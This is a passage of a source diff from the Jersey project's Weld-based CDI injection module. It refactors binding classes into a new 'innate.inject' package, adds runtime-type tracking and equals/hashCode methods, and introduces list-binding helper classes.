+            final InitializableSupplierInstanceBinding binding = (InitializableSupplierInstanceBinding) getBinding();
+            final JerseyClientCreationalContext jerseyContext = (JerseyClientCreationalContext) creationalContext;
+            return jerseyContext.getInjectionManager().getInjectionManagerBinding(binding).getSupplier().get();
+        } else {
+            CdiClientInjectionManager locked = ContextSafe.get();
+            if (locked != null) {
+                return locked
+                        .getInjectionManagerBinding((InitializableSupplierInstanceBinding) getBinding())
+                        .getSupplier().get();
+            }
+            return supplier.get();
+        }
     }
 
     @Override
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierThreadScopeBean.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierThreadScopeBean.java
index 3415b46..a20cf93 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierThreadScopeBean.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierThreadScopeBean.java
@@ -24,7 +24,7 @@
 
 import org.glassfish.jersey.inject.weld.internal.inject.InitializableSupplierInstanceBinding;
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyInjectionTarget;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.jboss.weld.bean.StringBeanIdentifier;
 import org.jboss.weld.bean.proxy.BeanInstance;
 import org.jboss.weld.bean.proxy.ContextBeanInstance;
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/JerseyBean.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/JerseyBean.java
index 66594f9..deaa049 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/JerseyBean.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/JerseyBean.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,6 +21,7 @@
 import java.util.Arrays;
 import java.util.Collections;
 import java.util.HashSet;
+import java.util.Objects;
 import java.util.Set;
 
 import jakarta.enterprise.context.Dependent;
@@ -36,7 +37,7 @@
 import jakarta.ws.rs.RuntimeType;
 
 import org.glassfish.jersey.JerseyPriorities;
-import org.glassfish.jersey.internal.inject.Binding;
+import org.glassfish.jersey.innate.inject.InternalBinding;
 import org.glassfish.jersey.internal.inject.PerLookup;
 import org.glassfish.jersey.internal.inject.PerThread;
 
@@ -58,21 +59,21 @@
         DEFAULT_QUALIFIERS.add(new AnnotationLiteral<Any>() {});
     }
 
-    public Binding<T, ?> getBinding() {
+    public InternalBinding<T, ?> getBinding() {
         return binding;
     }
 
-    private final Binding<T, ?> binding;
+    private final InternalBinding<T, ?> binding;
     private final RuntimeType runtimeType;
 
     /**
-     * JerseyBean constructor with {@link Binding} which represents {@link jakarta.enterprise.context.spi.Contextual} part of the
+     * JerseyBean constructor with {@link InternalBinding} which represents {@link jakarta.enterprise.context.spi.Contextual} part of the
      * bean.
      *
      * @param runtimeType
      * @param binding information about the bean.
      */
-    JerseyBean(RuntimeType runtimeType, Binding<T, ?> binding) {
+    JerseyBean(RuntimeType runtimeType, InternalBinding<T, ?> binding) {
         this.binding = binding;
         this.runtimeType = runtimeType == null ? RuntimeType.SERVER : runtimeType;
     }
@@ -161,7 +162,7 @@
             return binding.getRank();
         }
 
-        int defaultValue = 1;
+        int defaultValue = 0;
         Class<T> type = binding.getImplementationType();
         if (type != null) {
             return JerseyPriorities.getPriorityValue(type, defaultValue);
@@ -189,4 +190,17 @@
     public String getContractsAsString() {
         return Arrays.toString(binding.getContracts().toArray());
     }
+
+    @Override
+    public boolean equals(Object o) {
+        if (this == o) return true;
+        if (o == null || getClass() != o.getClass()) return false;
+        JerseyBean<?> that = (JerseyBean<?>) o;
+        return Objects.equals(binding, that.binding) && runtimeType == that.runtimeType;
+    }
+
+    @Override
+    public int hashCode() {
+        return Objects.hash(binding, runtimeType);
+    }
 }
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierBeanBridge.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierBeanBridge.java
index 5aa91eb..cfeaa1f 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierBeanBridge.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierBeanBridge.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -33,10 +33,10 @@
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyInjectionTarget;
 import org.glassfish.jersey.inject.weld.managed.CdiInjectionManagerFactory;
 import org.glassfish.jersey.inject.weld.internal.type.ParameterizedTypeImpl;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 
 /**
  * Creates an implementation of {@link jakarta.enterprise.inject.spi.Bean} interface using Jersey's {@link SupplierInstanceBinding}.
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierClassBean.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierClassBean.java
index ef4d154..c2e8c60 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierClassBean.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierClassBean.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -29,8 +29,8 @@
 
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyInjectionTarget;
 import org.glassfish.jersey.inject.weld.internal.type.ParameterizedTypeImpl;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
 
 /**
  * Creates an implementation of {@link jakarta.enterprise.inject.spi.Bean} interface using Jersey's {@link SupplierClassBinding}.
@@ -63,7 +63,7 @@
  *
  * @author Petr Bouda
  */
-class SupplierClassBean<T> extends JerseyBean<Supplier<T>> {
+public class SupplierClassBean<T> extends JerseyBean<Supplier<T>> {
 
     private final Set<Type> contracts = new HashSet<>();
     private final Class<? extends Supplier<T>> supplierClass;
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierThreadScopeClassBean.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierThreadScopeClassBean.java
index fe3e8b4..f0de53f 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierThreadScopeClassBean.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierThreadScopeClassBean.java
@@ -16,8 +16,8 @@
 
 package org.glassfish.jersey.inject.weld.internal.bean;
 
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.util.collection.LazyValue;
 import org.glassfish.jersey.internal.util.collection.Value;
 import org.glassfish.jersey.internal.util.collection.Values;
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/data/BindingBeanPair.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/data/BindingBeanPair.java
index 1d0b2c9..3928371 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/data/BindingBeanPair.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/data/BindingBeanPair.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,19 +16,19 @@
 package org.glassfish.jersey.inject.weld.internal.data;
 
 import org.glassfish.jersey.inject.weld.internal.bean.JerseyBean;
-import org.glassfish.jersey.internal.inject.Binding;
+import org.glassfish.jersey.innate.inject.InternalBinding;
 
-import java.util.LinkedList;
+import java.util.ArrayList;
 import java.util.List;
 
 /**
  * Pair of a binding and corresponding Jersey beans.
  */
 public class BindingBeanPair {
-    private final Binding binding;
-    private final List<JerseyBean> beans = new LinkedList<JerseyBean>();
+    private final InternalBinding binding;
+    private final List<JerseyBean> beans = new ArrayList<JerseyBean>();
 
-    public BindingBeanPair(Binding binding, JerseyBean... beans) {
+    public BindingBeanPair(InternalBinding binding, JerseyBean... beans) {
         this.binding = binding;
         if (beans != null) {
             for (JerseyBean bean : beans) {
@@ -37,7 +37,7 @@
         }
     }
 
-    public Binding getBinding() {
+    public InternalBinding getBinding() {
         return binding;
     }
 
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/ClassListBinding.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/ClassListBinding.java
new file mode 100644
index 0000000..604dd58
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/ClassListBinding.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld.internal.inject;
+
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.ServiceHolder;
+import org.glassfish.jersey.internal.inject.ServiceHolderImpl;
+import org.glassfish.jersey.internal.util.collection.LazyValue;
+import org.glassfish.jersey.internal.util.collection.Value;
+import org.glassfish.jersey.internal.util.collection.Values;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.stream.Collectors;
+
+public class ClassListBinding<T> {
+    private final Class<T> serviceType;
+    private final List<ClassBinding<T>> services = new ArrayList<>();
+    private final InjectionManager injectionManager;
+    private final LazyValue<List<ServiceHolder<T>>> instances;
+
+    public ClassListBinding(Class<T> serviceType, InjectionManager injectionManager) {
+        this.serviceType = serviceType;
+        this.injectionManager = injectionManager;
+        instances = Values.lazy((Value<List<ServiceHolder<T>>>) () -> services.stream()
+                .map(binding -> new ServiceHolderImpl(
+                        create(binding),
+                        binding.getService().getClass(),
+                        binding.getContracts(),
+                        binding.getRank() == null ? 0 : binding.getRank()))
+                .map(sh -> (ServiceHolder<T>) sh).collect(Collectors.toList()));
+    }
+
+    private T create(ClassBinding<T> binding) {
+        T t = injectionManager.createAndInitialize(binding.getService());
+        return t;
+    }
+
+    public void init(ClassBinding<?> service) {
+        services.add((ClassBinding<T>) service);
+    }
+
+    public List<T> getServices() {
+        return instances.get().stream().map(sh -> ((ServiceHolder<T>) sh).getInstance()).collect(Collectors.toList());
+    }
+
+    public List<ServiceHolder<T>> getServiceHolders() {
+        return instances.get();
+    }
+
+    @Override
+    public String toString() {
+        return super.toString();
+    }
+}
diff --git a/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/package-info.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InitializableBinding.java
similarity index 63%
rename from test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/package-info.java
rename to incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InitializableBinding.java
index 0fdbe9d..d464483 100644
--- a/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/package-info.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InitializableBinding.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,13 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-/**
- * Jersey test framework for Jetty 11 HTTP/2 Container.
- */
-package org.glassfish.jersey.test.jetty11.http2;
+package org.glassfish.jersey.inject.weld.internal.inject;
+
+import jakarta.ws.rs.RuntimeType;
+
+public abstract class InitializableBinding<T, U extends MatchableBinding> extends MatchableBinding<T, U> {
+
+    public abstract boolean isInit();
+
+    public abstract RuntimeType getRuntimeType();
+}
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InitializableInstanceBinding.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InitializableInstanceBinding.java
index 61b4a2c..56afe3c 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InitializableInstanceBinding.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InitializableInstanceBinding.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,15 +16,15 @@
 
 package org.glassfish.jersey.inject.weld.internal.inject;
 
+import org.glassfish.jersey.innate.inject.InternalBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.AliasBinding;
-import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 
+import jakarta.ws.rs.RuntimeType;
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
 import java.util.Arrays;
-import java.util.Collections;
+import java.util.Objects;
 import java.util.Set;
 import java.util.concurrent.atomic.AtomicBoolean;
 
@@ -34,19 +34,21 @@
  *
  * @param <T> Type of the service described by this injection binding.
  */
-public class InitializableInstanceBinding<T> extends MatchableBinding<T, InitializableInstanceBinding<T>> implements Cloneable {
+public class InitializableInstanceBinding<T> extends InitializableBinding<T, InitializableInstanceBinding<T>>
+        implements Cloneable {
 
     protected T service;
-    private AtomicBoolean isInit = new AtomicBoolean(false);
+    private final AtomicBoolean isInit = new AtomicBoolean(false);
     private Class<T> implementationType;
+    private final RuntimeType runtimeType;
 
     /**
      * Creates a service as an instance.
      *
      * @param service service's instance.
      */
-    protected InitializableInstanceBinding(T service) {
-        this(service, null);
+    protected InitializableInstanceBinding(T service, RuntimeType runtimeType) {
+        this(service, null, runtimeType);
     }
 
     /**
@@ -55,12 +57,13 @@
      * @param service      service's instance.
      * @param contractType service's contractType.
      */
-    private InitializableInstanceBinding(T service, Type contractType) {
+    private InitializableInstanceBinding(T service, Type contractType, RuntimeType runtimeType) {
         this.service = service;
         this.implementationType = service == null ? null : (Class<T>) service.getClass();
         if (contractType != null) {
             this.to(contractType);
         }
+        this.runtimeType = runtimeType;
     }
 
     /**
@@ -81,6 +84,7 @@
      *
      * @return service's type.
      */
+    @Override
     public Class<T> getImplementationType() {
         return implementationType;
     }
@@ -98,7 +102,13 @@
         return isInit.get();
     }
 
-    public Matching<InitializableInstanceBinding<T>> matches(Binding other) {
+    @Override
+    public RuntimeType getRuntimeType() {
+        return runtimeType;
+    }
+
+    @Override
+    public Matching<InitializableInstanceBinding<T>> matches(InternalBinding other) {
         return super.matches(other);
     }
 
@@ -107,8 +117,8 @@
         throw new RuntimeException(new CloneNotSupportedException());
     }
 
-    public static <T> InitializableInstanceBinding<T> from(InstanceBinding<T> instanceBinding) {
-        return new InitializableWrappingInstanceBinding(instanceBinding);
+    public static <T> InitializableInstanceBinding<T> from(InstanceBinding<T> instanceBinding, RuntimeType runtimeType) {
+        return new InitializableWrappingInstanceBinding(instanceBinding, runtimeType);
     }
 
     @Override
@@ -116,42 +126,79 @@
         return MatchLevel.IMPLEMENTATION;
     }
 
+    @Override
+    public Matching<MatchableBinding> matching(InternalBinding other) {
+        return visitor.matches((InitializableInstanceBinding) this, other);
+    }
+
+    @Override
+    public int hashCode() {
+        return Objects.hash(service, implementationType);
+    }
+
+    @Override
+    public boolean equals(Object o) {
+        if (this == o) return true;
+        if (o == null || getClass() != o.getClass()) return false;
+        InitializableInstanceBinding<?> that = (InitializableInstanceBinding<?>) o;
+        return Objects.equals(service, that.service)
+                && Objects.equals(implementationType, that.implementationType);
+    }
+
     private static class InitializableWrappingInstanceBinding<T> extends InitializableInstanceBinding<T> {
         private final InstanceBinding<T> wrapped;
-        public InitializableWrappingInstanceBinding(InstanceBinding<T> binding) {
-            super(binding.getService());
+        public InitializableWrappingInstanceBinding(InstanceBinding<T> binding, RuntimeType runtimeType) {
+            super(binding.getService(), runtimeType);
             wrapped = binding;
+            postCreate();
         }
 
-        private InitializableWrappingInstanceBinding(InitializableWrappingInstanceBinding<T> binding) {
-            super(binding.service);
+        private InitializableWrappingInstanceBinding(InitializableWrappingInstanceBinding<T> binding, RuntimeType runtimeType) {
+            super(binding.service, runtimeType);
             wrapped = binding.wrapped;
+            postCreate();
         }
 
-        @Override
-        public Class<T> getImplementationType() {
-            return super.getImplementationType();
+        private void postCreate() {
+            wrapped.getContracts().forEach(c -> this.to(c));
+            if (wrapped.getRank() != null) {
+                this.ranked(wrapped.getRank());
+            }
+            this.named(wrapped.getName());
+            this.id(wrapped.getId());
+            this.in(wrapped.getScope());
+            this.forClient(wrapped.isForClient());
         }
 
-        @Override
-        public T getService() {
-            return super.getService();
-        }
+//        @Override
+//        public Class<T> getImplementationType() {
+//            return super.getImplementationType();
+//        }
+//
+//        @Override
+//        public T getService() {
+//            return super.getService();
+//        }
+//
+//        @Override
+//        public RuntimeType getRuntime() {
+//            return super.getRuntime();
+//        }
 
-        @Override
-        public Class<? extends Annotation> getScope() {
-            return wrapped.getScope();
-        }
-
-        @Override
-        public Set<Type> getContracts() {
-            return wrapped.getContracts();
-        }
-
-        @Override
-        public Integer getRank() {
-            return wrapped.getRank();
-        }
+//        @Override
+//        public Class<? extends Annotation> getScope() {
+//            return wrapped.getScope();
+//        }
+//
+//        @Override
+//        public Set<Type> getContracts() {
+//            return wrapped.getContracts();
+//        }
+//
+//        @Override
+//        public Integer getRank() {
+//            return wrapped.getRank();
+//        }
 
         @Override
         public Set<AliasBinding> getAliases() {
@@ -175,12 +222,22 @@
 
         @Override
         public String toString() {
-            return "InitializableWrappingInstanceBinding(" + wrapped.getService().getClass() + ")";
+            return wrapped.toString();
         }
 
+//        @Override
+//        public boolean isForClient() {
+//            return wrapped.isForClient();
+//        }
+//
+//        @Override
+//        public long getId() {
+//            return wrapped.getId();
+//        }
+
         @Override
         public InitializableWrappingInstanceBinding clone() {
-            return new InitializableWrappingInstanceBinding(this);
+            return new InitializableWrappingInstanceBinding(this, this.getRuntimeType());
         }
     }
 }
\ No newline at end of file
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InitializableSupplierInstanceBinding.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InitializableSupplierInstanceBinding.java
index d99bf59..7670e49 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InitializableSupplierInstanceBinding.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InitializableSupplierInstanceBinding.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,11 +16,12 @@
 
 package org.glassfish.jersey.inject.weld.internal.inject;
 
+import org.glassfish.jersey.innate.inject.InternalBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.AliasBinding;
-import org.glassfish.jersey.internal.inject.Binding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 
+import jakarta.ws.rs.RuntimeType;
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
 import java.util.Set;
@@ -32,20 +33,23 @@
  * @param <T> Type of the supplied service described by this injection binding.
  */
 public class InitializableSupplierInstanceBinding<T>
-        extends MatchableBinding<Supplier<T>, InitializableSupplierInstanceBinding<T>>
+        extends InitializableBinding<Supplier<T>, InitializableSupplierInstanceBinding<T>>
         implements Cloneable {
 
     private final InitializableSupplier<T> supplier;
+    private final RuntimeType runtimeType;
 
     /**
      * Creates a supplier as an instance.
      *
-     * @param supplier service's instance.
+     * @param supplier    service's instance.
+     * @param runtimeType
      */
-    public InitializableSupplierInstanceBinding(Supplier<T> supplier) {
+    public InitializableSupplierInstanceBinding(Supplier<T> supplier, RuntimeType runtimeType) {
         this.supplier = DisposableSupplier.class.isInstance(supplier)
                 ? new InitializableDisposableSupplier<T>((DisposableSupplier<T>) supplier)
                 : new InitializableSupplier<T>(supplier);
+        this.runtimeType = runtimeType;
         if ("EmptyReferenceFactory".equals(supplier.getClass().getSimpleName())) {
             this.supplier.init(supplier);
             this.supplier.isReferencingFactory = true;
@@ -65,6 +69,11 @@
         return supplier.init.get();
     }
 
+    @Override
+    public RuntimeType getRuntimeType() {
+        return runtimeType;
+    }
+
     /**
      * Gets supplier's instance.
      *
@@ -81,8 +90,8 @@
         return supplier.originalSupplier;
     }
 
-    public static <T> InitializableSupplierInstanceBinding<T> from(SupplierInstanceBinding<T> binding) {
-        return new InitializableSupplierWrappingInstanceBinding(binding);
+    public static <T> InitializableSupplierInstanceBinding<T> from(SupplierInstanceBinding<T> binding, RuntimeType runtimeType) {
+        return new InitializableSupplierWrappingInstanceBinding(binding, runtimeType);
     }
 
     @Override
@@ -99,7 +108,10 @@
     }
 
     private Matching<InitializableSupplierInstanceBinding<T>> matches(
-            Class<?> originalSupplierClass, Class<?> otherSupplierClass, Binding other) {
+            Class<?> originalSupplierClass, Class<?> otherSupplierClass, InternalBinding other) {
+        if (getId() != 0) {
+            return matchesById(other);
+        }
         final boolean matchesService = originalSupplierClass.equals(otherSupplierClass);
         final Matching matching = matchesContracts(other);
         if (matching.matchLevel == MatchLevel.FULL_CONTRACT && matchesService) {
@@ -113,6 +125,11 @@
         return MatchLevel.SUPPLIER;
     }
 
+    @Override
+    public Matching<MatchableBinding> matching(InternalBinding other) {
+        return visitor.matches((InitializableSupplierInstanceBinding) this, other);
+    }
+
     private static class InitializableDisposableSupplier<T> extends InitializableSupplier<T> implements DisposableSupplier<T> {
         private InitializableDisposableSupplier(DisposableSupplier<T> originalSupplier) {
             super(originalSupplier);
@@ -120,7 +137,9 @@
 
         @Override
         public void dispose(T instance) {
-            ((DisposableSupplier) supplier).dispose(instance);
+            if (isInit()) {
+                ((DisposableSupplier) supplier).dispose(instance);
+            }
         }
     }
 
@@ -158,40 +177,59 @@
 
     private static class InitializableSupplierWrappingInstanceBinding<T> extends InitializableSupplierInstanceBinding<T> {
         private final SupplierInstanceBinding wrapped;
-        public InitializableSupplierWrappingInstanceBinding(SupplierInstanceBinding binding) {
-            super(binding.getSupplier());
+        InitializableSupplierWrappingInstanceBinding(SupplierInstanceBinding binding, RuntimeType runtimeType) {
+            super(binding.getSupplier(), runtimeType);
             wrapped = binding;
+            postCreate();
         }
 
-        private InitializableSupplierWrappingInstanceBinding(InitializableSupplierWrappingInstanceBinding binding) {
-            super(binding.getOriginalSupplier());
+        private InitializableSupplierWrappingInstanceBinding(InitializableSupplierWrappingInstanceBinding binding,
+                                                             RuntimeType runtimeType) {
+            super(binding.getOriginalSupplier(), runtimeType);
             wrapped = binding.wrapped;
+            postCreate();
         }
 
-        @Override
-        public Class getImplementationType() {
-            return super.getImplementationType();
+        private void postCreate() {
+            wrapped.getContracts().forEach(c -> this.to((Type) c));
+            if (wrapped.getRank() != null) {
+                this.ranked(wrapped.getRank());
+            }
+            this.named(wrapped.getName());
+            this.id(wrapped.getId());
+            this.in(wrapped.getScope());
+            this.forClient(wrapped.isForClient());
         }
 
-        @Override
-        public Supplier getSupplier() {
-            return super.getSupplier();
-        }
+//        @Override
+//        public Class getImplementationType() {
+//            return super.getImplementationType();
+//        }
+//
+//        @Override
+//        public Supplier getSupplier() {
+//            return super.getSupplier();
+//        }
+//
+//        @Override
+//        public RuntimeType getRuntime() {
+//            return super.getRuntime();
+//        }
 
-        @Override
-        public Class<? extends Annotation> getScope() {
-            return wrapped.getScope();
-        }
-
-        @Override
-        public Set<Type> getContracts() {
-            return wrapped.getContracts();
-        }
-
-        @Override
-        public Integer getRank() {
-            return wrapped.getRank();
-        }
+//        @Override
+//        public Class<? extends Annotation> getScope() {
+//            return wrapped.getScope();
+//        }
+//
+//        @Override
+//        public Set<Type> getContracts() {
+//            return wrapped.getContracts();
+//        }
+//
+//        @Override
+//        public Integer getRank() {
+//            return wrapped.getRank();
+//        }
 
         @Override
         public Set<AliasBinding> getAliases() {
@@ -209,19 +247,35 @@
         }
 
         @Override
-        public String getName() {
-            return wrapped.getName();
+        public String toString() {
+            return wrapped.toString();
         }
 
+
+//        @Override
+//        public String getName() {
+//            return wrapped.getName();
+//        }
+
+//        @Override
+//        public long getId() {
+//            return wrapped.getId();
+//        }
+//
+//        @Override
+//        public boolean isForClient() {
+//            return wrapped.isForClient();
+//        }
+
         @Override
         public InitializableSupplierWrappingInstanceBinding clone() {
-            return new InitializableSupplierWrappingInstanceBinding(this);
+            return new InitializableSupplierWrappingInstanceBinding(this, getRuntimeType());
         }
 
-        @Override
-        public String toString() {
-            return "InitializableSupplierWrappingInstanceBinding(" +  wrapped.getSupplier() + ")";
-        }
+//        @Override
+//        public String toString() {
+//            return "InitializableSupplierWrappingInstanceBinding(" +  wrapped.getSupplier() + ")";
+//        }
     }
 
 }
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InstanceListBinding.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InstanceListBinding.java
new file mode 100644
index 0000000..b65709c
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InstanceListBinding.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld.internal.inject;
+
+import org.glassfish.jersey.innate.inject.InternalBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.internal.inject.ServiceHolder;
+import org.glassfish.jersey.internal.inject.ServiceHolderImpl;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.stream.Collectors;
+
+public class InstanceListBinding<T> extends MatchableBinding<List<T>, InitializableInstanceBinding<List<T>>>
+        implements Cloneable {
+
+    private final Class<T> serviceType;
+    private final List<InstanceBinding<T>> services = new ArrayList<>();
+
+    /**
+     * Creates a service as an instance.
+     *
+     * @param serviceType service's type.
+     */
+    public InstanceListBinding(Class<T> serviceType) {
+        this.serviceType = serviceType;
+    }
+
+    @Override
+    protected MatchLevel bestMatchLevel() {
+        return MatchLevel.NEVER;
+    }
+
+    @Override
